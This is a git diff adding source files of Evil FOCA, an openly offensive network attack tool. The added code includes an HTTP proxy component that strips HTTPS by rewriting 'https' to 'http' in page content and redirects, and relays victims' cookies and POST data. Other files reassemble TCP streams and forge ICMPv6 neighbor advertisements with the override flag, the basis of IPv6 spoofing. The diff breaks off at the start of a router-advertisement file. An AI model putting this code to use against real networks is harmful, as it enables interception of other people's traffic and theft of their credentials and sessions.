6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR + 5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL + 4f8jS+H/I0vg/yJK4P8iSuD/Ikng/yFJ3/8hSd//HkXeTQAAAABCcPuAQnH8/0Jx/P9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv + +/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t+f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r9/89avf/PGr3/zxq + 9/88aff/PGn2/ztp9v87aPb/Omj1/zpn9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk + 8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg8P80YO//NF/v/zNf + 7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z + 6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU + 5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO + 4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM4v8kTOH/I0zh/yNL4f8jS+H/I0vg/yJK4P8iSuD/Ikng/x9J + 3oIAAAAAAAAAAAAAAAA/bfhNQXD5w0Fw+/pCcfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw/P9BcPv/QW/7/0Bv+/9Ab/r/QG76/0Bu+v8/bvr/P235/z9t + +f8+bfn/Pmz5/z5s+P8+bPj/PWv4/z1r9/89avf/PGr3/zxq9/88aff/PGn2/ztp9v87aPb/Omj1/zpn + 9f86Z/X/Omf1/zln9P85ZvT/OWb0/zhl9P84ZfP/OGXz/zhk8/83ZPP/N2Ty/zdj8v82Y/L/NmLy/zZi + 8f82YvH/NWHx/zVh8f81YPD/NGDw/zRg8P80YO//NF/v/zNf7/8zX+//Ml7u/zJe7v8yXe7/Ml3u/zFd + 7f8xXO3/MVzt/zBb7f8wW+z/MFvs/zBa7P8vWuz/L1rr/y9Z6/8uWev/Llnq/y5Y6v8uWOr/LVjq/y1X + 6v8tV+n/LFbp/yxW6f8sVuj/K1Xo/ytV6P8rVej/K1To/ypU5/8qU+f/KlPn/ylT5v8pU+b/KVLm/ylS + 5v8oUeX/KFHl/yhR5f8nUOX/J1Dk/ydQ5P8nT+T/Jk/j/yZO4/8mTuP/JU7j/yVN4/8lTeL/JE3i/yRM + 4v8kTOH/I0zh/yNL4f8jS+H/I0re+iFJ3sMhSd5NAAAAAAAAAAD//////4AAAAAAAAAAAAAD//////4A + AAAAAAAAAAAAAf/////4AAAAAAAAAAAAAAD/////8AAAAAAAAAAAAAAA/////+AAAAAAAAAAAAAAAP// + ///AAAAAAAAAAAAAAAD/////gAAAAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAP////4AAAAAAAAAAAAA + AAD////8AAAAAAAAAAAAAAAA////+AAAAAAAAAAAAAAAAP////AAAAAAAAAAAAAAAAD////gAAAAAAAA + AAAAAAAA////wAAAAAAAAAAAAAAAAP///4AAAAAAAAAAAAAAAAD///8AAAAAAAAAAAAAAAAA///+AAAA + AAAAAAAAAAAAAP///AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAA///wAAAAAAAAAAAAAAAAAP// + 4AAAAAAAAAAAAAAAAAD//8AAAAAAAAAAAAAAAAAA//+AAAAAAAAAAAAAAAAAAP//AAAAAAAAAAAAAAAA + AAD//gAAAAAAAAAAAAAAAAAA//wAAAAAAAAAAAAAAAAAAP/4AAAAAAAAAAAAAAAAAAD/8AAAAAAAAAAA + AAAAAAAA/+AAAAAAAAAAAAAAAAAAAP/AAAAAAAAAAAAAAAAAAAD/gAAAAAAAAAAAAAAAAAAA/wAAAAAA + AAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAD8AAAAAAAAAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAPAA + AAAAAAAAAAAAAAAAAADgAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAAAAA + AACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAA + AAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAAAAAAAAAAABw== + + + \ No newline at end of file diff --git a/EvilFoca/HTTP/HttpPacket.cs b/EvilFoca/HTTP/HttpPacket.cs new file mode 100644 index 0000000..5380b2e --- /dev/null +++ b/EvilFoca/HTTP/HttpPacket.cs @@ -0,0 +1,458 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Globalization; +using System.IO; +using System.Linq; +using System.Net; +using System.Text; +using System.Text.RegularExpressions; +using System.Web; + +namespace evilfoca.HTTP +{ + public class HttpPacket + { + public string Method { get; private set; } + public string Version { get; private set; } + public string Host { get; private set; } + public string ResourceRequest { get; private set; } + public string ContentType { get; private set; } + public long ContentLength { get; private set; } + public CookieContainer Cookies { get; private set; } + public string Connection { get; private set; } + public string P3P { get; private set; } + public string Accept { get; private set; } + public string AcceptLanguage { get; private set; } + public string Referer { get; private set; } + public bool IsCompleted { get; private set; } + public string FullUrlRequest + { + get + { + return string.Format("http://{0}{1}", Host, ResourceRequest); + } + } + public byte[] Data { get; private set; } + + public string UserAgent { get; private set; } + + public HttpPacket(byte[] payload) + { + try + { + string query = System.Web.HttpUtility.HtmlDecode(System.Text.Encoding.ASCII.GetString(payload)); + string[] headerContentSplit = query.Split(new string[] { "\r\n\r\n" }, StringSplitOptions.RemoveEmptyEntries); + if (headerContentSplit.Length > 0) + { + IsCompleted = true; + CookieCollection cookieCol = null; + string[] splitRequest = headerContentSplit[0].Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + foreach (var item in splitRequest) + { + if (item.Contains(' ')) + { + + string[] splitSpace = item.Split(' '); + switch (splitSpace[0].ToLower()) + { + case "host:": + Host = splitSpace[1]; + break; + case "user-agent:": + UserAgent = item.Replace(splitSpace[0], "").Trim(); + break; + case "head": + case "post": + case "get": + if (splitSpace.Length > 0) + Method = splitSpace[0]; + if (splitSpace.Length > 1) + ResourceRequest = splitSpace[1]; + if (splitSpace.Length > 2) + Version = splitSpace[2]; + break; + case "content-type:": + ContentType = splitSpace[1]; + break; + case "content-length:": + long longLength = 0; + long.TryParse(splitSpace[1], out longLength); + ContentLength = longLength; + break; + case "cookie:": + Cookies = new CookieContainer(); + cookieCol = ParseCookies(item.Replace(splitSpace[0], string.Empty), Host); + break; + case "connection:": + this.Connection = splitSpace[1]; + break; + case "accept-language:": + this.AcceptLanguage = splitSpace[1]; + break; + case "accept:": + this.Accept = splitSpace[1]; + break; + case "p3p:": + if (splitSpace.Length > 1) + this.P3P = splitSpace[1]; + break; + case "referer:": + if (splitSpace.Length > 1) + this.Referer = splitSpace[1]; + break; + } + } + } + if (Cookies != null && cookieCol != null && !string.IsNullOrEmpty(Host)) + Cookies.Add(new Uri("http://" + Host, UriKind.Absolute), cookieCol); + + if (headerContentSplit.Length > 1) + { + Data = System.Text.Encoding.ASCII.GetBytes(headerContentSplit[1]); + } + + if (string.IsNullOrEmpty(this.Method)) + IsCompleted = false; + else if (this.Method.ToLower() == "post" && (this.Data == null || this.Data.Length < this.ContentLength)) + IsCompleted = false; + } + else + IsCompleted = false; + + } + catch (Exception ex) + { + IsCompleted = false; + ex.ToString(); + } + } + + public static byte[] Get404Packet() + { + using (MemoryStream ms = new MemoryStream()) + { + using (BinaryWriter writer = new BinaryWriter(ms)) + { + writer.Write(System.Text.Encoding.ASCII.GetBytes("HTTP/1.1 404 Not Found\r\n")); + writer.Write(System.Text.Encoding.ASCII.GetBytes("Connection: Close\r\n\r\n")); + } + return ms.ToArray(); + } + } + + + private CookieCollection ParseCookies(string stringCookies, string domain) + { + string[] splitSemiColon = stringCookies.Split(';'); + CookieCollection col = new CookieCollection(); + foreach (var item in splitSemiColon) + { + if (item.IndexOf('=') > -1) + col.Add(new Cookie(item.Substring(0, item.IndexOf('=')).Trim(), item.Substring(item.IndexOf('=') + 1).Trim())); + } + return col; + } + + public static string CookieToSetCookieHeader(Cookie cookie) + { + StringBuilder headerBuilder = new StringBuilder(); + headerBuilder.Append(string.Format("Set-Cookie: {0}={1}", cookie.Name, cookie.Value)); + if (cookie.Expires > DateTime.MinValue) + headerBuilder.Append(string.Format(";Expires={0}", cookie.Expires.ToString("dd-MMM-yyyy HH:mm:ss 'GMT'", CultureInfo.InvariantCulture))); + if (!string.IsNullOrEmpty(cookie.Path)) + headerBuilder.Append(string.Format(";path={0}", cookie.Path)); + if (!string.IsNullOrEmpty(cookie.Domain)) + headerBuilder.Append(string.Format(";domain={0}", cookie.Domain)); + if (cookie.HttpOnly) + headerBuilder.Append(";HttpOnly"); + + headerBuilder.Append("\r\n"); + return headerBuilder.ToString(); + } + + public static CookieCollection ParseSetCookies(string stringSetCookies) + { + CookieCollection cookies = new CookieCollection(); + try + { + Regex expiresEqualsDay = _expiresEqualsDay ?? (_expiresEqualsDay = new Regex(EXPIRES_EQUALS_DAY_PATTERN, RegexOptions.IgnoreCase | RegexOptions.Compiled)); + string[] splitCookies = expiresEqualsDay.Replace(stringSetCookies, EXPIRES_EQUALS).Split(','); + foreach (var item in splitCookies) + { + string[] splitField = item.Split(';'); + if (splitField.Length > 0) + { + Cookie newCookie = new Cookie(); + newCookie.Name = splitField[0].Substring(0, splitField[0].IndexOf('=')).Trim(); + newCookie.Value = splitField[0].Substring(splitField[0].IndexOf('=') + 1).Trim(); + for (int i = 1; i < splitField.Length; i++) + { + string key = splitField[i].ToLower().Trim(); + if (splitField[i].Contains('=')) + key = splitField[i].Substring(0, splitField[i].IndexOf('=')); + string value = string.Empty; + switch (key) + { + case "expires": + DateTime time; + if (DateTime.TryParseExact(splitField[i].Substring(splitField[i].IndexOf('=') + 1).Trim(), new string[] { @"dd-MMM-yyyy HH:mm:ss 'GMT'", @"dd MMM yyyy HH:mm:ss 'GMT'" }, CultureInfo.InvariantCulture, DateTimeStyles.AdjustToUniversal, out time)) + newCookie.Expires = time; + break; + case "path": + newCookie.Path = "/"; + break; + case "domain": + newCookie.Domain = splitField[i].Substring(splitField[i].IndexOf('=') + 1).Trim(); + break; + case "httponly": + newCookie.HttpOnly = true; + break; + case "secure": + newCookie.Secure = true; + break; + default: + break; + } + } + cookies.Add(newCookie); + } + } + } + catch (Exception ex) + { + ex.ToString(); + } + + + return cookies; + } + + private static Regex _expiresEqualsDay; // Lazy-initialized. + private const String EXPIRES_EQUALS_DAY_PATTERN = "; *expires=[A-Za-z]+, *"; + private const String EXPIRES_EQUALS = "; Expires="; + } + public static class HttpResponse + { + public static IEnumerable GetBytes(this HttpWebResponse response, int maxLength) + { + using (MemoryStream ms = new MemoryStream()) + { + using (BinaryWriter writer = new BinaryWriter(ms)) + { + writer.Write(System.Text.Encoding.ASCII.GetBytes(string.Format("HTTP/{0} {1} {2} \r\n", response.ProtocolVersion, (int)response.StatusCode, response.StatusDescription))); + + if (response.Headers[HttpResponseHeader.Location] != null) + writer.Write(System.Text.Encoding.ASCII.GetBytes(string.Format("Location: {0}\r\n", response.Headers[HttpResponseHeader.Location].Replace("https", "http")))); + if (response.Headers[HttpResponseHeader.ContentType] != null) + writer.Write(System.Text.Encoding.ASCII.GetBytes(string.Format("Content-Type: {0}\r\n", response.Headers[HttpResponseHeader.ContentType]))); + if (response.Headers[HttpResponseHeader.Connection] != null) + writer.Write(System.Text.Encoding.ASCII.GetBytes(string.Format("Connection: {0}\r\n", response.Headers[HttpResponseHeader.Connection]))); + else if (response.Headers[HttpResponseHeader.KeepAlive] != null) + response.Headers[HttpResponseHeader.KeepAlive].ToString(); + if (response.Headers[HttpResponseHeader.Date] != null) + writer.Write(System.Text.Encoding.ASCII.GetBytes(string.Format("Date: {0}\r\n", response.Headers[HttpResponseHeader.Date]))); + if (response.Headers[HttpResponseHeader.Allow] != null) + writer.Write(System.Text.Encoding.ASCII.GetBytes(string.Format("Allow: {0}\r\n", response.Headers[HttpResponseHeader.Allow]))); + if (response.Headers[HttpResponseHeader.CacheControl] != null) + writer.Write(System.Text.Encoding.ASCII.GetBytes(string.Format("Cache-Control: {0}\r\n", response.Headers[HttpResponseHeader.CacheControl]))); + if (response.Headers["P3P"] != null) + writer.Write(System.Text.Encoding.ASCII.GetBytes(string.Format("P3P: {0}\r\n", response.Headers["P3P"]))); + if (response.Headers[HttpResponseHeader.Vary] != null) + writer.Write(System.Text.Encoding.ASCII.GetBytes(string.Format("Vary: {0}\r\n", response.Headers[HttpResponseHeader.Vary]))); + if (response.Headers[HttpResponseHeader.Expires] != null) + writer.Write(System.Text.Encoding.ASCII.GetBytes(string.Format("Expires: {0}\r\n", response.Headers[HttpResponseHeader.Expires]))); + if (response.Headers[HttpResponseHeader.Server] != null) + writer.Write(System.Text.Encoding.ASCII.GetBytes(string.Format("Server: {0}\r\n", response.Headers[HttpResponseHeader.Server]))); + if (response.Headers[HttpResponseHeader.ContentEncoding] != null) + writer.Write(System.Text.Encoding.ASCII.GetBytes(string.Format("Content-Encoding: {0}\r\n", response.Headers[HttpResponseHeader.ContentEncoding]))); + if (response.Headers[HttpResponseHeader.ContentLanguage] != null) + writer.Write(System.Text.Encoding.ASCII.GetBytes(string.Format("Content-Language: {0}\r\n", response.Headers[HttpResponseHeader.ContentLanguage]))); + + if (response.Headers[HttpResponseHeader.TransferEncoding] != null && response.Headers[HttpResponseHeader.TransferEncoding].Contains("chunked") && response.Headers[HttpResponseHeader.Connection] == null) + writer.Write(System.Text.Encoding.ASCII.GetBytes("Connection: close\r\n")); + + if (response.Headers[HttpResponseHeader.SetCookie] != null) + { + CookieCollection cookieCol = HttpPacket.ParseSetCookies(response.Headers[HttpResponseHeader.SetCookie]); + foreach (Cookie item in cookieCol) + writer.Write(System.Text.Encoding.ASCII.GetBytes(HttpPacket.CookieToSetCookieHeader(item))); + } + + writer.Write(System.Text.Encoding.ASCII.GetBytes("\r\n")); + } + using (MemoryStream headerStream = new MemoryStream(ms.ToArray())) + { + using (BinaryReader reader = new BinaryReader(headerStream)) + { + while (reader.BaseStream.Position < reader.BaseStream.Length) + yield return reader.ReadBytes(maxLength); + } + } + } + using (BinaryReader reader = new BinaryReader(response.GetResponseStream())) + { + int bytesRead; + byte[] buffer = new byte[maxLength]; + Encoding responseEncoding = null; + while ((bytesRead = reader.Read(buffer, 0, buffer.Length)) > 0) + { + Array.Resize(ref buffer, bytesRead); + if (response.ContentType.ToLower().Contains("html") || response.ContentType.ToLower().Contains("javascript") || response.ContentType.ToLower().Contains("json")) + { + if (responseEncoding == null) + responseEncoding = GetResponseEncoding(response.CharacterSet); + string htmlContent = responseEncoding.GetString(buffer); + htmlContent = htmlContent.Replace("https", "http").Replace("Https", "http"); + + byte[] htmlBytes = responseEncoding.GetBytes(htmlContent); + + yield return htmlBytes; + } + else + yield return buffer; + buffer = new byte[maxLength]; + } + } + } + + private static Encoding GetResponseEncoding(string encodingValue) + { + Encoding enc; + try + { + enc = Encoding.GetEncoding(encodingValue); + } + catch (ArgumentException) + { + switch (encodingValue) + { + case "cp1252": + enc = Encoding.GetEncoding("Windows-1252"); + break; + case "utf8": + enc = Encoding.UTF8; + break; + default: + enc = Encoding.UTF8; + break; + } + } + + + return enc; + } + + } + + public static class HttpUtils + { + public static void CreateListenerResponse(HttpWebResponse webResponse, ref HttpListenerResponse listenerResponse) + { + + listenerResponse.ContentType = webResponse.ContentType; + listenerResponse.KeepAlive = false; + listenerResponse.StatusCode = (int)webResponse.StatusCode; + + if (webResponse.Headers[HttpResponseHeader.Location] != null) + listenerResponse.Headers[HttpResponseHeader.Location] = webResponse.Headers[HttpResponseHeader.Location].Replace("https:", "http:"); + if (webResponse.Headers[HttpResponseHeader.SetCookie] != null) + listenerResponse.Headers[HttpResponseHeader.SetCookie] = webResponse.Headers[HttpResponseHeader.SetCookie]; + if (webResponse.Headers[HttpResponseHeader.Pragma] != null) + listenerResponse.Headers[HttpResponseHeader.Pragma] = webResponse.Headers[HttpResponseHeader.Pragma]; + if (webResponse.Headers[HttpResponseHeader.Expires] != null) + listenerResponse.Headers[HttpResponseHeader.Expires] = webResponse.Headers[HttpResponseHeader.Expires]; + if (webResponse.Headers[HttpResponseHeader.ContentEncoding] != null) + listenerResponse.Headers[HttpResponseHeader.ContentEncoding] = webResponse.Headers[HttpResponseHeader.ContentEncoding]; + + if (webResponse.Headers[HttpResponseHeader.CacheControl] != null) + listenerResponse.Headers[HttpResponseHeader.CacheControl] = webResponse.Headers[HttpResponseHeader.CacheControl]; + if (webResponse.Headers[HttpResponseHeader.Server] != null) + listenerResponse.Headers[HttpResponseHeader.Server] = webResponse.Headers[HttpResponseHeader.Server]; + if (webResponse.Headers[HttpResponseHeader.Date] != null) + listenerResponse.Headers[HttpResponseHeader.Date] = webResponse.Headers[HttpResponseHeader.Date]; + if (webResponse.Headers[HttpResponseHeader.Vary] != null) + listenerResponse.Headers[HttpResponseHeader.Vary] = webResponse.Headers[HttpResponseHeader.Vary]; + + if (webResponse.Headers["X-Frame-Options"] != null) + listenerResponse.Headers["X-Frame-Options"] = webResponse.Headers["X-Frame-Options"]; + if (webResponse.Headers["X-XSS-Protection"] != null) + listenerResponse.Headers["X-XSS-Protection"] = webResponse.Headers["X-XSS-Protection"]; + + } + public static HttpWebRequest CreateWebRequest(HttpListenerRequest listenerrequest, Uri url) + { + UriBuilder u = (url == null) ? new UriBuilder(listenerrequest.Url) : new UriBuilder(url); + if (u.Scheme.Equals("https", StringComparison.InvariantCultureIgnoreCase)) + u.Port = 443; + else + u.Port = 80; + + HttpWebRequest evilReq = HttpWebRequest.Create(u.Uri) as HttpWebRequest; + evilReq.Timeout = 5000; + evilReq.KeepAlive = false; + evilReq.AllowAutoRedirect = false; + evilReq.UserAgent = listenerrequest.UserAgent; + evilReq.Method = listenerrequest.HttpMethod; + + if (listenerrequest.ContentType != null) + evilReq.ContentType = listenerrequest.ContentType; + if (listenerrequest.UrlReferrer != null) + evilReq.Referer = listenerrequest.UrlReferrer.ToString(); + if (listenerrequest.Headers["Host"] != null) + evilReq.Host = listenerrequest.Headers["Host"]; + if (listenerrequest.Headers["Accept"] != null) + evilReq.Accept = listenerrequest.Headers["Accept"]; + if (listenerrequest.Headers["Accept-Language"] != null) + evilReq.Headers[HttpRequestHeader.AcceptLanguage] = listenerrequest.Headers["Accept-Language"]; + if (listenerrequest.Headers["Cache-Control"] != null) + evilReq.Headers[HttpRequestHeader.CacheControl] = listenerrequest.Headers["Cache-Control"]; + if (listenerrequest.Headers["Cookie"] != null) + evilReq.Headers.Add(HttpRequestHeader.Cookie, listenerrequest.Headers["Cookie"]); + + if (evilReq.Method.Equals("POST", StringComparison.InvariantCultureIgnoreCase)) + { + byte[] buffer = new byte[500]; + using (BinaryReader reader = new BinaryReader(listenerrequest.InputStream)) + { + using (MemoryStream ms = new MemoryStream()) + { + int readed = 0; + while ((readed = reader.Read(buffer, 0, 500)) > 0) + ms.Write(buffer, 0, readed); + + evilReq.ContentLength = ms.Length; + using (Stream str = evilReq.GetRequestStream()) + { + str.Write(ms.ToArray(), 0, (int)ms.Length); + } + } + } + } + + return evilReq; + } + + public static HttpWebRequest CreateWebRequest(HttpListenerRequest listenerrequest) + { + return CreateWebRequest(listenerrequest, null); + + } + } +} diff --git a/EvilFoca/HTTP/TcpReconstructorPacket.cs b/EvilFoca/HTTP/TcpReconstructorPacket.cs new file mode 100644 index 0000000..a615e75 --- /dev/null +++ b/EvilFoca/HTTP/TcpReconstructorPacket.cs @@ -0,0 +1,126 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using PacketDotNet; + +namespace evilfoca.HTTP +{ + public class TcpReconstructorPacket + { + public int Length { get; set; } + public byte[] Data { get; set; } + public uint FirstSequenceNumber { get; set; } + public uint LastSequenceNumber { get; set; } + public DateTime CreationTime { get; set; } + + public uint ExpectedSequenceNumber + { + get + { + return FirstSequenceNumber + (uint)Length; + } + } + + + public TcpReconstructorPacket(TcpPacket packet) + { + if (packet != null) + { + this.Data = packet.PayloadData; + this.FirstSequenceNumber = this.LastSequenceNumber = packet.SequenceNumber; + this.Length = this.Data.Length; + } + CreationTime = DateTime.Now; + } + + + private void InsertDataFirstPosition(byte[] newData) + { + if (newData != null && newData.Length > 0) + { + if (this.Data == null || this.Data.Length == 0) + this.Data = newData; + else + { + byte[] tempData = new byte[this.Data.Length + newData.Length]; + Array.Copy(newData, tempData, newData.Length); + Array.Copy(this.Data, 0, tempData, newData.Length, this.Data.Length); + this.Data = tempData; + this.Length = this.Data.Length; + } + } + } + + private void AppendData(byte[] newData) + { + if (newData != null && newData.Length > 0) + { + if (this.Data == null || this.Data.Length == 0) + this.Data = newData; + else + { + byte[] tempData = new byte[this.Data.Length + newData.Length]; + Array.Copy(this.Data, tempData, this.Data.Length); + Array.Copy(newData, 0, tempData, this.Data.Length, newData.Length); + this.Data = tempData; + this.Length = this.Data.Length; + } + } + } + + public void InsertPreviousTcpPacket(TcpPacket newPacket) + { + if (newPacket != null) + { + this.FirstSequenceNumber = newPacket.SequenceNumber; + InsertDataFirstPosition(newPacket.PayloadData); + } + CreationTime = DateTime.Now; + } + + public void AppendTcpPacket(TcpPacket newPacket) + { + if (newPacket != null) + { + this.LastSequenceNumber = newPacket.SequenceNumber; + AppendData(newPacket.PayloadData); + } + CreationTime = DateTime.Now; + } + + public void InsertPreviousTcpPacket(TcpReconstructorPacket newPacket) + { + if (newPacket != null) + { + this.FirstSequenceNumber = newPacket.FirstSequenceNumber; + InsertDataFirstPosition(newPacket.Data); + } + CreationTime = DateTime.Now; + } + + public void AppendTcpPacket(TcpReconstructorPacket newPacket) + { + if (newPacket != null) + { + this.LastSequenceNumber = newPacket.LastSequenceNumber; + AppendData(newPacket.Data); + } + CreationTime = DateTime.Now; + } + } +} diff --git a/EvilFoca/ICMPv6/NeighborAdvertisement.cs b/EvilFoca/ICMPv6/NeighborAdvertisement.cs new file mode 100644 index 0000000..c888868 --- /dev/null +++ b/EvilFoca/ICMPv6/NeighborAdvertisement.cs @@ -0,0 +1,62 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Net; +using System.Net.NetworkInformation; + +namespace evilfoca.ICMPv6 +{ + //Packet Format: + //int Flags; + //byte[16] TargetAddress + //options + // 0x02 link layer + // 0x01 Length 1, 8 bytes + // MAC + public class NeighborAdvertisement + { + const int Flags = 0x60000000; //Solicitation, Override + byte[] OptionMAC = new byte[] { 0x02, 0x01 }; + + private IPAddress TargetAddress; + private PhysicalAddress MAC; + + public NeighborAdvertisement(IPAddress TargetAddress, PhysicalAddress MAC) + { + this.TargetAddress = TargetAddress; + this.MAC = MAC; + } + + public byte[] GetBytes() + { + byte[] buffer = new byte[32]; + int pos = 4; //Los cuatro primeros bytes son del checksum + Buffer.BlockCopy(BitConverter.GetBytes(IPAddress.NetworkToHostOrder(Flags)), 0, buffer, pos, sizeof(int)); + pos += 4; + Buffer.BlockCopy(TargetAddress.GetAddressBytes(), 0, buffer, pos, TargetAddress.GetAddressBytes().Length); + pos += TargetAddress.GetAddressBytes().Length; + Buffer.BlockCopy(OptionMAC, 0, buffer, pos, OptionMAC.Length); + pos += OptionMAC.Length; + Buffer.BlockCopy(MAC.GetAddressBytes(), 0, buffer, pos, MAC.GetAddressBytes().Length); + return buffer; + } + } +} diff --git a/EvilFoca/ICMPv6/NeighborRouterAdvertisement.cs b/EvilFoca/ICMPv6/NeighborRouterAdvertisement.cs new file mode 100644 index 0000000..bee4a79 --- /dev/null +++ b/EvilFoca/ICMPv6/NeighborRouterAdvertisement.cs @@ -0,0 +1,122 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; 